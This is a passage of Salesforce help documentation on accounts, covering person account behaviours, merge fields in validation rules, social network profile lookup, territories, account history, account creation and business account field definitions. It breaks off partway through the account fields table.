Note: Person accounts are not enabled by default in Salesforce. To quickly verify whether your organization uses person accounts, see if you have an option to select Person Account as the record type when you create a new account. To request person accounts, check with your administrator. Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. The list of available merge fields depends on the type of data that youre working with. This topic lists considerations for working with merge fields in validation rules with person accounts. Syntax and Formatting When you insert a merge field in a validation rule, the syntax consists of the object, a period, and the field name. For example, $User.State corresponds with a users state or province. The syntax for a merge field may differ, depending on where youre using it in Salesforce. To ensure that youre using the correct syntax, select merge fields from the drop-down list in the editor where youre using the merge field. The merge fields for validation rules correspond directly with the fields in your app. For a list of fields with your standard objects, go to Your Name > Setup > Customize, click the standard object in question, and click Fields. For a list of fields with your custom objects, go to Your Name > Setup > Create > Objects, click the custom object in question, and look in the Standard Fields and Custom Fields & Relationships areas. Important: If a custom objects name and label are identical to the name and label of another object, you may see unexpected behavior when using that objects merge fields. If a standard object and custom object have matching names or labels, only the standard object's fields display when you select from Available Merge Fields. For example, if you have a custom object and a standard object both called Quote, you wont be able to select the custom object. To ensure that you can select merge fields from either object, add a character to make the custom objects name and label unique, such as Quote2. If two or more custom objects have matching names or labels, only one of the objects displays when you select from Available Merge Fields. Ensure that all custom objects have unique names and labels so that you can select merge fields from any of the objects.

Tips To define a validation rule that applies only to person accounts, use the IsPersonAccount merge field. For example, Account.City = San Francisco verifies that a business or person accounts city is San Francisco, while IsPersonAccount ( Account.City = San Francisco) verifies that a person accounts city is San Francisco. You must handle person account and business account names separately in account validation rules. For business accounts, use the Name merge field. For person accounts, use the FirstName and LastName merge fields.

71

Accounts

Person Account Behaviors

Birthdate, Email, and other fields that are only supported for person accounts are available as merge fields in account

validation rules. When you use one of those merge fields, note that business account records will be processed as if those fields have blank values. For business account and person account fields, see Account Fields on page 91.

See Also:
Merge Fields Overview Merge Fields for Person Accounts What is a Person Account?

Person Account Behaviors


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce. To request person accounts, contact salesforce.com.

Person accounts are accounts that can also be used as contacts in many situations. The following table summarizes the key areas in which person accounts differ from business accounts or have unique considerations: Salesforce Functionality Account Merge Account Quick Create Person Account Behavior Person accounts can only be merged with other person accounts. See Merging Duplicate Accounts on page 110. On the accounts home page, the fields in the Quick Create area are based on whether the default account record type set on your profile is a person account record type or a business account record type. See Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on page 540 or Assigning Record Types to Profiles in the Original Profile User Interface on page 550. Person accounts are accounts that support contact fields and capabilities. Person accounts can be associated with activities using either the Name or Related To fields. As with contacts, person accounts can be invited to events and requested meetings. For users to request a meeting with a person account, the Email field must be added to the Person Accounts page layout.

Accounts Activities

72

Accounts

Person Account Behaviors

Salesforce Functionality Campaigns Cases Chatter Feed Tracking Contact Roles Contacts

Person Account Behavior As with contacts, person accounts can be added to campaigns and have a Campaign History related list. On cases, person accounts can be entered in the Account Name field, the Contact Name field, or both. When you follow person accounts, you follow the account fields, but not the contact fields. As with contacts, you can add person accounts to the Contact Roles related list on cases, contracts, and opportunities. In most situations, you can use person accounts as if they were contacts. You can include them in all contact list views except on the contacts home page. Unlike business accounts, person accounts do not have a Contacts related list. However, you can use the Partners related list to track relationships between different person accounts.

Custom Objects Customer Portal

Custom objects with relationships to either accounts or contacts can be added as related lists on person accounts. As with contacts, person accounts can be enabled as users for your Customer Portals. Note that Customer Portals are only available for Enterprise and Unlimited Editions. Person accounts are currently supported in Connect Offline, Salesforce for Outlook, and Connect for Outlook version 3.2 and later; see Can I sync person accounts using Salesforce for Outlook? on page 3882 and Working with Person Accounts in Connect for Outlook on page 2886. They are not currently supported in Connect for Lotus Notes. As with contacts, you can send individual emails and mass emails to person accounts. Account fields for person accounts can be tracked using the account field history settings, but contact fields for person accounts are configured on the contact field history settings page. See Tracking Field History for Standard Objects on page 1120. A predetermined combination of standard account and contact fields is available on person account page layouts. In addition, all custom account and contact fields are available. See Person Account Fields on page 97. Note that some business account fields are not supported for person accounts, such as Parent Account and View Hierarchy. Also, the Reports To field on contacts is not supported for person accounts.

Desktop Integration

Email Field History

Fields

73

Accounts

Person Account Behaviors

Salesforce Functionality

Person Account Behavior You can rename person account field labels so alternate terms display in Salesforce.

Icons

Person accounts have a person icon ( ), while business accounts have a folder icon ( ). The person account icon can be added to search results, list views, and lookup dialogs using the criteria Is Person Account equals True.

Import Wizards

Person accounts have unique import wizards at Your Name > Setup > Import > Import My Person Accounts and Your Name > Setup > Data Management > Import Person Accounts. See What Is Imported for Person Accounts? on page 802. Leads with a blank Company field are converted to person accounts. The default person account record type for your profile is applied to the new person account. Note that you can only create leads with a blank Company field using the Force.com API. Leads with a value in the Company field are converted to business accounts. The default business account record type for your profile is applied to the new business account. See Converting Leads on page 3036, and Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on page 540 or Assigning Record Types to Profiles in the Original Profile User Interface on page 550. Person accounts appear in both account and contact list views. Add the Is Person Account icon to list views to visually differentiate person accounts from other records, and to include or exclude person accounts in a list. Mobile configurations that include the account object automatically deliver person accounts and business accounts to users' mobile devices. Person accounts can be excluded from the configuration's data set using the criteria Is Person Account equals False. To mobilize only person accounts, use the criteria Is Person Account equals True. If a mobile configuration includes accounts but not contacts, users assigned to that configuration will see a Contacts tab in the mobile client application, and the tab will contain person accounts.

Leads

List Views

Mobile Configurations

Page Layouts

Person accounts have unique page layouts that can have account fields, contact fields, account custom links, account related lists, and contact related lists. Person accounts page layouts do not support the Reports To and Parent Account fields. You cannot add a contact formula field that references the account object to person accounts page layouts.

74

Accounts

Person Account Behaviors

Salesforce Functionality Partners

Person Account Behavior You can use the Partners related list to relate person accounts to each other. We recommend that you rename the Partners related list to Related Accounts, Relationships, or a similar term that reflects how your person accounts are connected. Administrators can configure multiple record types for person accounts. A person account can only be changed to another person account record type. Administrators can customize the names of tabs and fields related to person accounts, such as: The Accounts tab name, the business account field label, and the person account field label. The Contacts tab name and the business contact field label. See Renaming Tab and Field Labels on page 1072.

Record Types

Renamed Tabs and Standard Fields

Search

Person accounts only appear in account search results. Administrators can add the Is Person Account icon to account search layouts in order to differentiate person accounts from business accounts. As with contacts, person accounts can be enabled as users for your Self-Service portal. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

Self-Service Portal

Sharing Settings

Contact sharing is not available if you have enabled person accounts. The organization-wide default for contacts is set to Controlled by Parent and is not editable. If your organization has customized your contact sharing settings and you want to enable person accounts, change your organization-wide default for contacts to Controlled by Parent, which removes all your contact sharing rules and manually shared contacts.

Stay-in-Touch Requests Storage

As with contacts, you can send individual and mass Stay-in-Touch requests to person accounts. Person accounts count against both account and contact storage because the API considers each person account to consist of one account as well as one contact.

75

Accounts

Accounts Home

Salesforce Functionality Workflow Rules

Person Account Behavior Creating or editing a person account triggers account workflow rules. See Workflow and Approvals Overview on page 1866.

See Also:
What is a Person Account? Tip sheet: Tips & Hints for Person Accounts Administrator setup guide: Implementing Person Accounts Disabling and Deactivating Portal Users

Accounts Home
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Accounts tab: To view accounts: To create business accounts: To create person accounts: Read on accounts Read on accounts Create on accounts Create on accounts and contacts

Clicking on the Accounts tab displays the accounts home page. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. In the Recent Accounts section, select an item from the drop-down list to display a brief list of the top accounts matching that criteria. From the list, you can click any account name to go directly to the account detail. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Accounts Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The Recent Accounts choices are: Recent Accounts Choice Recently Viewed Description The last ten or twenty-five accounts you viewed, with the most recently viewed account listed first. This list is derived from your recent items and includes records owned by you and other users.

76

Accounts

Accounts Home

Recent Accounts Choice Recently Created

Description The last ten or twenty-five accounts you created, with the most recently created account listed first. This list only includes records owned by you. The last ten or twenty-five accounts you updated, with the most recently updated account listed first. This list only includes records owned by you.

Recently Modified

If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the sidebar on the accounts home page. If your organization uses person accounts and your default record type for the Accounts tab is a person account record type, then the Quick Create fields include First Name and Last Name instead of Account Name. Validation rules don't apply if you create new records for an object with Quick Create. Alternatively, click New next to the Recent Accounts section to create a new account.

Under Reports, click any report name to jump to that report. Select any of the links under Tools to access utilities for managing your accounts. If accounts are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Accounts from Connections to view accounts that your business partners have shared with you. Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Overview What is a Person Account? Using Accounts Creating Accounts Merging Duplicate Accounts Deleting Accounts Creating Custom List Views

77

Accounts

Viewing Account Lists

Viewing Account Lists


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view account lists: To create business accounts: To create person accounts: Read on accounts Create on accounts Create on accounts and contacts

The accounts list page displays a list of accounts in your current view. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click an account name to view the account details. Click Edit or Del next to an account name to edit or delete the account. If Chatter is enabled, click or to follow or stop following an account in your Chatter feed. If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle back to the list view. Click New Account or select Account from the Create New drop-down list in the sidebar to create an account. Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of drag-and-drop scheduling.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. If your organization uses person accounts and your current list view includes the field Is Person Account, the column heading for this field is the person account icon ( ). Click the person account icon in the header to sort person accounts at either the top or bottom of the list.

78

Accounts

Using Accounts

Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Home What is a Person Account? Customizing User Interface Settings Working with Enhanced Lists Using Inline Editing in Lists Printing List Views

Using Accounts
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To edit business accounts: To edit person accounts: To enable partner accounts: To disable partner accounts: Read on accounts Edit on accounts Edit on accounts and contacts Manage Partners Edit on accounts AND Manage Partners To disable Customer Portal accounts: Edit on accounts AND Edit Self-Service Users

An account is an organization, company, or consumer that you want to trackfor example, a customer, partner, or competitor. View and edit accounts Use Social Accounts and Contacts to view your accounts social network profiles, see their level of influence in social media, and watch related YouTube videos. Find account-related information (such as contacts) Get Data.com contacts for an account

79

Accounts

Displaying and Editing Account Details

Clean account records with Data.com Clean View account updates and comments (Chatter) Give Customer Portal users access to an account Enable an account as a partner account

See Also:
Account Fields Viewing Parent Accounts Creating Accounts Social Accounts, Contacts, and Leads Overview Data.com Product Suite Overview Changing the Record Type Field Changing the Territories of an Account Account History

Displaying and Editing Account Details


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To edit business accounts: To edit person accounts: To enable partner accounts: To disable partner accounts: Read on accounts Edit on accounts Edit on accounts and contacts Manage Partners Edit on accounts AND Manage Partners To disable Customer Portal accounts: Edit on accounts AND Edit Self-Service Users

Once you have located an account on the Accounts home or list pages, click the account name to display detailed information. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator. To display the page in edit mode, click Edit, make your changes, and click Save.

80

Accounts

Using Social Accounts

To save the current account and create another one, click Save & New. To open a printable display of the record details, in the top-right corner of the page, click Printable View. To enable an account as a partner account, click Work with Portal and choose Enable As Partner. Available only if your company enabled a partner portal. To enable person accounts as Customer Portal users, click Work with Portal and choose Enable Customer Portal User. Available only if your company has person accounts and a Customer Portal. Note: As the owner of an account, you can normally view all data related to that account. However, your administrator can set an option on your role that determines whether you can view opportunities that you do not own that are associated with your accounts. Also, if your accounts are assigned to territories, your administrator can set options that determine whether users in that territory can view, edit, transfer, or delete your accounts.

Using Social Accounts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

When using Social Accounts and Contacts for accounts, you can: Sign in to your social network accounts from any account detail page. Find your customers Facebook, LinkedIn, and Twitter profiles and link them to their account records, so you can view this information from account detail pages. Find YouTube videos related to your accounts and play them from account detail pages. See your accounts Klout information from account detail pages. Modify default search criteria if youre having trouble locating an accounts social information. Configure your Social Accounts and Contacts settings so the Social Accounts and Contacts viewer only shows the social networks that you want to use.

See Also:
Social Accounts, Contacts, and Leads Overview Enabling and Configuring Social Accounts and Contacts

81

Accounts

Signing in to Your Social Network Accounts from Account Detail Pages

Signing in to Your Social Network Accounts from Account Detail Pages


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sign in to your social network accounts from business account detail pages: Read on accounts

To sign in to your social network accounts from person account Read on accounts and contacts detail pages:

To get started using Social Accounts and Contacts, you first need to sign in to your social network accounts from any account, contact, or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing you to see external social profiles in Salesforce. These connections persist in future Salesforce sessions so you don't have to sign in to your social network accounts again unless you sign out in the Social Accounts and Contacts viewer. Note: You can see YouTube videos without doing these steps. The Klout service is only available when youre signed in to your Twitter account.. To sign in to your social network accounts from an account detail page: 1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page. You can sign in from any account detail page that you have permission to read. 2. In the header on the detail page, click a social network icon ( ). 3. Click the Sign in button on the Social Accounts and Contacts viewer. 4. Enter your social network account credentials and authorize Salesforce to access your account. Your Salesforce account and social network account are now connected. Repeat these steps to create connections for your other social network accounts.

See Also:
Using Social Accounts Social Accounts, Contacts, and Leads Overview

82

Accounts

Viewing Your Accounts' Social Network Profiles

Viewing Your Accounts' Social Network Profiles


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To find and link social network profiles to business account records: To find and link social network profiles to person account records: To view an account's social network profiles: Edit on accounts Edit on accounts and contacts Read on accounts

Once you have signed in to your social network accounts from Salesforce, use Social Accounts and Contacts to find your customers' Facebook, LinkedIn, and Twitter profiles and link them to their account records. Then you can view this information directly from account detail pages in Salesforce. 1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page. 2. In the header on the detail page, click a social network icon ( ). 3. If a social network profile isnt associated with the account yet, Salesforce automatically searches for profiles that match the account name on the account record. Click the correct profile in the search results displayed on the Social Accounts and Contacts viewer. Tip: If the default search doesn't find the correct profile, search again using different search terms.

The profile that you select is linked to the Salesforce record, so other Salesforce users who access the record can also view the profile. 4. View the social information that your account is sharing with you. Note: Depending on the accounts privacy settings, you may not see as much information as you would if logged directly into your social network account. 5. You can also: Click Show Photo in Salesforce to display the accounts profile picture on the account detail page. Click View Full Profile to see the accounts complete social network profile directly in the social network. Click Find Different Profile to change the social network profile that is linked to the account record. Click Sign Out to close the private connection between Salesforce and your social network account. When you do this, you're unable to see your accounts social network profiles until you sign in again.

83

Accounts

Viewing YouTube Videos about Your Accounts

Repeat these steps to find and view the accounts other social network profiles. You can use the tabs on the Social Accounts and Contacts viewer to easily switch between the different social networks.

See Also:
Using Social Accounts Viewing YouTube Videos about Your Accounts Viewing Your Accounts Klout Information Social Accounts, Contacts, and Leads Overview

Viewing YouTube Videos about Your Accounts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To find and view YouTube videos related to accounts: Read on accounts

You can use Social Accounts and Contacts to find YouTube videos related to your accounts and play them from account detail pages in Salesforce. 1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page. 2. In the header on the detail page, click the YouTube icon ( ). 3. In the YouTube search results, click the video that you want to watch. Tip: If the default search doesn't find videos for the correct company, search again using different search terms.

4. The YouTube player opens in the Social Accounts and Contacts viewer and the video begins playing.

See Also:
Using Social Accounts Viewing Your Accounts' Social Network Profiles Viewing Your Accounts Klout Information Social Accounts, Contacts, and Leads Overview

84

Accounts

Viewing Your Accounts Klout Information

Viewing Your Accounts Klout Information


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view an accounts Klout information: Read on accounts

You can use Social Accounts and Contacts to see your accounts Klout information, directly from account detail pages in Salesforce. Note: The Klout service is dependent on Twitteran administrator must enable Twitter in your organizations Social Accounts and Contacts settings and you must be signed in to your Twitter account. You dont need a Klout account, or have to be signed in to your Klout account, to see Klout information in Salesforce. Before Klout information is available for an account, you or someone else in your organization needs to associate a Twitter profile with the account record. To see Klout information for an account: 1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page. 2. In the header on the detail page, click the Klout icon ( ). 3. View the accounts Klout information.

See Also:
Using Social Accounts Viewing Your Accounts' Social Network Profiles Viewing YouTube Videos about Your Accounts Social Accounts, Contacts, and Leads Overview

Tips for Finding Your Accounts' Social Information


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

When you want to associate a social network profile with an accounteither for the first time or if youre switching to a different profile using the Find Different Profile buttonthe Social Accounts and Contacts feature uses the Account Name field on the account record as the default search criteria. The default search criteria is also used when you want to find YouTube videos related to an account.

85

Accounts

Configuring Your Social Accounts and Contacts Settings

Here are some tips if youre having trouble finding an accounts social information. If the default search can't locate your accounts social network profile or YouTube videos related to the account, enter different keywords in the search box on the Social Accounts and Contacts viewer and click Search. For business accounts, the account name on the Salesforce record may not exactly match the company name used in their social network account or in YouTube video keyword tags. Try different variations of the account name, such as Universal Paper or Universal Paper, Incorporated instead of Universal Paper, Inc. Similarly for person accounts, the account name in Salesforce may differ from your person accounts social network user name or the persons name used in YouTube video keyword tags. Try different variations of the person accounts name; for example, search for Maddie Rigsby instead of Madison Rigsby.

If you still can't find the correct profile, your Salesforce account may not be active in any social networks or their privacy settings may be blocking you from finding their profile in a search. If your YouTube searches are still unsuccessful, the account may not be featured in any videos shared on YouTube.

See Also:
Using Social Accounts Social Accounts, Contacts, and Leads Overview

Configuring Your Social Accounts and Contacts Settings


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions Contacts available in: All Editions except Database.com Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If the Social Accounts and Contacts feature is enabled for your organization, you can turn off social networks that you don't want to use. You can also turn off the Social Accounts and Contacts feature, if needed. 1. Click Your Name > Setup > My Social Accounts and Contacts > Settings. 2. Click Change your Social Accounts and Contacts settings. 3. Customize Social Accounts and Contacts so it works the way you want it to. Select the social networks that you want to use. Deselect any of the services that you don't want to use. Deselect Use Social Accounts and Contacts to turn off the Social Accounts and Contacts feature entirely. Select this checkbox to turn the feature back on if you change your mind.

86

Accounts

Finding Account-Related Information (Related Lists)

4. Click Save.

See Also:
Social Accounts, Contacts, and Leads Overview Security and Privacy When Using Social Accounts and Contacts Using Social Accounts Social Accounts, Contacts, and Leads Overview Security and Privacy When Using Social Accounts and Contacts Using Social Contacts Social Accounts, Contacts, and Leads Overview Security and Privacy When Using Social Accounts and Contacts Using Social Leads

Finding Account-Related Information (Related Lists)


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To edit business accounts: To edit person accounts: To enable partner accounts: To disable partner accounts: Read on accounts Edit on accounts Edit on accounts and contacts Manage Partners Edit on accounts AND Manage Partners To disable Customer Portal accounts: Edit on accounts AND Edit Self-Service Users

Related lists, such as opportunities, display information related to an account. Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator.

87

Accounts

Viewing Account Updates (Chatter)

If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. To directly add new items, click New (or the equivalent button) at the top of a related list. For example, to add a task to the Open Activities related list, click New Task. To change the number of records shown for related lists, click View More below a related list, or click fewer or more at the bottom of the page. If you are unable to see related records that belong to portal users, ask your Salesforce administrator to add you to the portal share groups with access to the portal users' data.

Viewing Related Lists


The related lists you see are determined by your: Personal customization Administrator's page layout customizations Permissions to view related data

The kind of account you are viewinga business account or a person accountalso determines the related lists that can be viewed.

Viewing Account Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the account. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Feed and Hide Feed links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the post, click All Updates.

Following Accounts
When you follow an account, your Chatter feed includes field changes and account feed updates. To follow an account, click Follow. To stop following, click Following . The Followers list shows you who is following the account. To view a full list, click Show All. To automatically follow records you create, go to Your Name > Setup > My Chatter Settings > My Feeds and select Automatically follow records I create. When you create person accounts, you can only auto-follow the account fields, not the contact fields.

See Also:
Chatter Overview Using Chatter Feeds

88

Accounts

Changing the Territories of an Account

Changing the Territories of an Account


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change the territories of an account: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

To modify an account's manually assigned territories: 1. From the account detail page, click Change next to the Territories field. 2. At the Rule-based territory assignments list, view the territories that contain the account due to active account assignment rules. You cannot use this page to remove the account from these territories; to do so you must modify the account assignment rules that evaluated the account. For more information, see Managing Account Assignment Rules on page 2790. 3. If the account has existing manual assignments to one or more territories, the names of those territories will appear in the Selected territories list. 4. Click Select and Deselect to move territories between the Available territories list and the Selected territories list. 5. Optionally, click Horizontal View or Vertical View in the drop-down list to place the Selected territories list either alongside or below the Available territories list. 6. When the Selected territories list contains the territories to which the account should be manually assigned, click Save to finish and return to the account detail page.

See Also:
Using Accounts Territory Management Overview Manually Assigning Accounts to Territories

89

Accounts

Account History

Account History
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: Read on accounts

The Account History related list of an account detail page tracks the changes to the account. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the account, a new entry is added to the Account History related list. For person accounts, this includes any relevant contact fields that are set to be tracked. All entries include the date, time, nature of the change, and who made the change. Modifications to the related lists on the account are not tracked in the account history. For information about setting up which fields are tracked, see Tracking Field History for Standard Objects on page 1120.

Creating Accounts
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To create business accounts: To create person accounts Read on accounts Create on accounts Create on accounts and contacts

1. Select Account from the Create New drop-down list in the sidebar, or click New next to Recent Accounts on the accounts home page. If your organization has enabled person accounts, you must first specify whether the record type is a business account or person account. 2. Enter the information for the account. To specify that a business account is a subsidiary of another business account, fill in the Parent Account field. You can then view a hierarchy of account relationships. The Parent Account field isnt available for person accounts. Use the Account Site field to designate different locations of the same company. For example, Acme.com may have offices in Paris and London. Create two accounts, both called Acme.com, but with Account Site values of Paris and London, respectively.

3. Click Save when you are finished, or click Save & New to save the current account and add another.

90

Accounts

Account Fields

When creating a new account, consider that: If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the sidebar on the accounts home page. If your organization uses person accounts and your default record type for the Accounts tab is a person account record type, then the Quick Create fields include First Name and Last Name instead of Account Name. Validation rules don't apply if you create new records for an object with Quick Create. Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type when creating an account. This determines the picklist values available when creating and editing a record. If your organization uses divisions, the division of a new account is automatically set to your default division, unless you manually select a different one. If your organization uses territory management, account assignment rules can automatically assign newly created accounts to territories. See Territory Management Overview on page 2773.

See Also:
Account Fields Sharing Accounts Viewing Parent Accounts Accounts Home What is a Person Account?

Account Fields
Business Account Fields
The available business account fields vary according to which Salesforce Edition you have. Person accounts available in: Enterprise, Unlimited, and Developer Editions The available person account fields vary according to which Salesforce Edition you have.

A business account has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) If the account record was added from Data.com, certain fields, as identified here, will be populated with the Data.com or Dun & Bradstreet (D&B) value, if a value is available. Some Data.com fields are available only to organizations that use Data.com Corporate or Data.com Premium. Those fields are identified in their descriptions. Note: Administrators can customize the display labels of standard fields.

Field
Account Currency

Description The default currency for all currency amount fields in the account. Amounts display in the account currency and are also converted to the users personal

Allows Value from Data.com or D&B

91

Accounts

Account Fields

Field

Description currency. Available only for organizations that use multiple currencies.

Allows Value from Data.com or D&B

Account Division

Division to which the account belongs. Records related to the account, such as contacts and opportunities, automatically inherit the accounts division. Available only in organizations that use divisions to segment their data. Name of company. Up to 255 characters are allowed in this field. The name of the account translated into the local language. Tracking or reference number for account. Up to 40 characters are allowed in this field. Assigned owner of account. Not available in Personal Edition. Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Editions. Information about the accounts location, such as single location, Headquarters, or Branch. Up to 80 characters are allowed in this field. The source of the account record. For example, Advertisement, Data.com, or Trade Show. The source is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. Amount of annual reported revenue. Note: If you clean your account records with the Data.com Corporate or Premium product or Data.com Clean, Data.com converts non-USD currencies to USD every month, which may cause the values in this field to change. For organizations that use non-USD currencies, we ignore the Annual Revenue field (D&B) (D&B)

Account Name Account Name (Local) Account Number

Account Owner Account Record Type

Account Site

Account Source

(Data.com)

Annual Revenue

(D&B)

92

Accounts

Account Fields

Field

Description when determining a records clean status (so the Clean Status fields value does not change). We also remove the value from the Annual Revenue field on account records and the clean comparison page.

Allows Value from Data.com or D&B

Billing Street Billing City Billing State/Province

Street address used for billing. Up to 255 characters are allowed in this field. City portion of billing address. Up to 40 characters are allowed in this field. State or province portion of billing address. Up to 20 characters are allowed in this field. Zip or postal code portion of billing address. Up to 20 characters are allowed in this field. Country portion of billing address. Up to 40 characters are allowed in this field. Indicates the records clean status as compared with Data.com. Values are: Not Compared, In Sync, Reviewed, Different, Not Found, or Inactive. Note: If you clean your account records with the Data.com Corporate or Premium product or Data.com Clean, Data.com converts non-USD currencies to USD every month, which may cause the values in the Annual Revenue field to change. For organizations that use non-USD currencies, we ignore the Annual Revenue field when determining a records clean status (so the Clean Status fields value does not change).

(D&B) (D&B) (D&B)

Billing Zip/Postal Code

(D&B)

Billing Country Clean Status

(D&B) (Data.com)

Created By Data.com Key

User who created the account, including creation date and time. (Read only) The ID of the company in Data.com When Salesforce records are compared (Data.com)

93

Accounts

Account Fields

Field

Description with Data.com records (via either manual cleaning or automated clean jobs), if Data.com finds a match, the two records are linked by this fields numeric value.

Allows Value from Data.com or D&B

D&B Company

A link to the corresponding D&B Company record, which displays Dun & Bradstreet (D&B) fields for the account. Use the lookup if you need to associate a different D&B Company record with the account. This field is only available to organizations that use Data.com Premium. Description of account. Up to 32 KB of data are allowed in this field. Only the first 255 characters display in reports. The Data Universal Numbering System (D-U-N-S) number is a unique, nine-digit number assigned to every business location in the D&B database that has a unique, separate, and distinct operation. D-U-N-S numbers are used by industries and organizations around the world as a global standard for business identification and tracking. This field is only available to organizations that use Data.com Corporate or Data.com Premium. Note: To see the entire D-U-N-S number, either Add the account to Salesforce if you havent yet, or Clean the account with Data.com if it already exists in Salesforce

(D&B)

Description

(D&B)

D-U-N-S Number

(D&B)

Until you add or clean the record, its first five digits will be masked with asterisks (*). Number of people employed by the account.

Employees

(D&B)

Evaluate this account against When checked, causes account assignment rules to run when the territory rules on save

94

Accounts

Account Fields

Field

Description account is edited and saved. When customizing the page layout for accounts, an administrator can control whether this checkbox displays and whether it is checked by default. See Territory Management Overview on page 2773.

Allows Value from Data.com or D&B

Exclude from territory assignment rules

When checked, shields the account from being evaluated when account assignment rules are run, preventing it from being automatically assigned to territories. Also, if the account is already assigned to territories as a result of assignment rules, checking this box removes the account from those territories. This checkbox only affects rule-based account assignments and has no effect on manual account assignments. See Territory Management Overview on page 2773. Fax number. Up to 40 characters are allowed in this field. Primary business of account. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. User who last changed the account fields, including modification date and time. This does not track changes made to any of the related list items on the account. (Read only) The six-digit North American Industry Classification System (NAICS) code is the standard used by business and government to classify business establishments into 20 industries, according to their economic activity for the purpose of collecting, analyzing, and publishing statistical data related to the U.S. business economy. This field is only available to organizations that use Data.com Corporate or Data.com Premium. A brief description of an organizations line of business, based on its NAICS code. This field is only available to (D&B) (D&B) (Data.com

Fax Industry

Modified By

NAICS Code

NAICS Description

(D&B)

95

Accounts

Account Fields

Field

Description organizations that use Data.com Corporate or Data.com Premium.

Allows Value from Data.com or D&B

Ownership

Ownership of company, for example, public or private. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. Parent company for companies that are subsidiaries of a larger company or organization. The parent account must be an existing account in Salesforce. You can enter the account name, or select (or optionally, create) the account using the lookup icon. Read-only field that indicates whether an account is a partner account. Primary phone number of account. Up to 40 characters are allowed in this field. Categorization of how you rate this account, for example, Hot, Cold. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. Primary mailing or shipping street address of account. Up to 255 characters are allowed in this field. City portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. State or province portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Zip or postal code portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Country portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. Standard Industrial Classification code of the accounts main business categorization. Up to 10 characters are allowed in this field.

(D&B)

Parent Account

Partner Account Phone Rating

